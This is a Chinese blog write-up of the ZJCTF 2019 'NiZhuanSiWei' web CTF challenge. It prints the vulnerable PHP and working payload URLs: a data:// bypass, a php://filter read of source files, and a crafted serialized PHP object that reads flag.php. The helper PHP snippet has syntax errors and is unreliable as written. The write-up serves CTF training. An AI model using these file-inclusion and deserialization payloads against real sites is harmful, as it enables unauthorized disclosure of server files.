美文网首页
ZJCTF 2019-WEB-NiZhuanSiWei

ZJCTF 2019-WEB-NiZhuanSiWei

作者: le3f | 来源:发表于2020-04-09 14:00 被阅读0次

复现地址https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei

参考 https://www.cnblogs.com/keelongz/p/12615220.html

 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?> 

isset — 检测变量是否已设置并且非 NULL
file_get_contents — 将整个文件读入一个字符串

通过data协议绕过第一个if

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
image.png

通过php://读取到uselist.php文件内容

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=php://filter/read=convert.base64-encode/resource=useless.php

base64解密

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>
初始化对象
<?php  

class Flag{  //flag.php  
    public $file='flag.php';  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = Flag()
echo serialize($a)
?>

序列化对象后赋值,查看源码得到flag

?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

相关文章

网友评论

      本文标题:ZJCTF 2019-WEB-NiZhuanSiWei

      本文链接:https://www.haomeiwen.com/subject/hdxcmhtx.html